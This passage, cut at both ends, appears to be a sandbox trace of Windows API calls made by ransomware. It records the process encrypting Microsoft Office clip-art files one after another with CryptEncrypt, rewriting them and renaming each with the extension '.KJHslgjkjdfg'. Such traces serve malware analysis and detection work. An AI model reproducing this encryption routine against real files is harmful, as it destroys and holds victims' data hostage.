phKey=0x4dff274*=0x2f182c8) returned 1 [0194.564] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.564] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb96, lpOverlapped=0x0) returned 1 [0194.564] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xba0, dwBufLen=0xba0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xba0) returned 1 [0194.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.564] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xba0, lpOverlapped=0x0) returned 1 [0194.564] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.564] SetEndOfFile (hFile=0x130) returned 1 [0194.566] GetProcessHeap () returned 0x2ef0000 [0194.566] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0194.566] GetProcessHeap () returned 0x2ef0000 [0194.566] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.kjhslgjkjdfg")) returned 1 [0194.567] CloseHandle (hObject=0x130) returned 1 [0194.568] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0194.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.571] GetProcessHeap () returned 0x2ef0000 [0194.571] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.571] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.571] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0194.574] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.574] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.574] GetProcessHeap () returned 0x2ef0000 [0194.574] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.575] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.575] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.575] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.575] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.575] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.575] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.575] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.575] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.575] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.575] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2856, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2856, lpOverlapped=0x0) returned 1 [0194.577] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2860, dwBufLen=0x2860 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2860) returned 1 [0194.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.577] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2860, lpOverlapped=0x0) returned 1 [0194.577] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.577] SetEndOfFile (hFile=0x130) returned 1 [0194.580] GetProcessHeap () returned 0x2ef0000 [0194.580] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.580] GetProcessHeap () returned 0x2ef0000 [0194.580] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.kjhslgjkjdfg")) returned 1 [0194.582] CloseHandle (hObject=0x130) returned 1 [0194.582] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0194.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.583] GetProcessHeap () returned 0x2ef0000 [0194.583] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.584] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.584] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0194.586] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.586] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.586] GetProcessHeap () returned 0x2ef0000 [0194.586] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.586] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.586] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.586] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.586] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.586] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.586] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.586] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.587] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.587] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.587] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7992, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7992, lpOverlapped=0x0) returned 1 [0194.588] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x79a0, dwBufLen=0x79a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x79a0) returned 1 [0194.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.588] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x79a0, lpOverlapped=0x0) returned 1 [0194.588] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.588] SetEndOfFile (hFile=0x130) returned 1 [0194.591] GetProcessHeap () returned 0x2ef0000 [0194.591] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.591] GetProcessHeap () returned 0x2ef0000 [0194.591] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.kjhslgjkjdfg")) returned 1 [0194.592] CloseHandle (hObject=0x130) returned 1 [0194.592] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0194.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.594] GetProcessHeap () returned 0x2ef0000 [0194.594] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.594] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.594] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.594] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.594] GetProcessHeap () returned 0x2ef0000 [0194.594] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.594] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.594] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.594] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.596] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.597] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.597] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.597] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.597] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.597] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.597] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.597] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2040, lpOverlapped=0x0) returned 1 [0194.598] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2040, dwBufLen=0x2040 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2040) returned 1 [0194.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.598] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2040, lpOverlapped=0x0) returned 1 [0194.599] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.599] SetEndOfFile (hFile=0x130) returned 1 [0194.601] GetProcessHeap () returned 0x2ef0000 [0194.601] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.601] GetProcessHeap () returned 0x2ef0000 [0194.601] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.kjhslgjkjdfg")) returned 1 [0194.602] CloseHandle (hObject=0x130) returned 1 [0194.602] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0194.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.603] GetProcessHeap () returned 0x2ef0000 [0194.603] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.603] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.603] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.605] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.605] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.605] GetProcessHeap () returned 0x2ef0000 [0194.605] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.605] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.605] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.605] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.606] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.606] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.606] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.606] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.606] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.606] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x73bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x73bc, lpOverlapped=0x0) returned 1 [0194.607] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x73c0, dwBufLen=0x73c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x73c0) returned 1 [0194.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.607] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x73c0, lpOverlapped=0x0) returned 1 [0194.608] CryptDestroyKey (hKey=0x2f182c8) returned 1 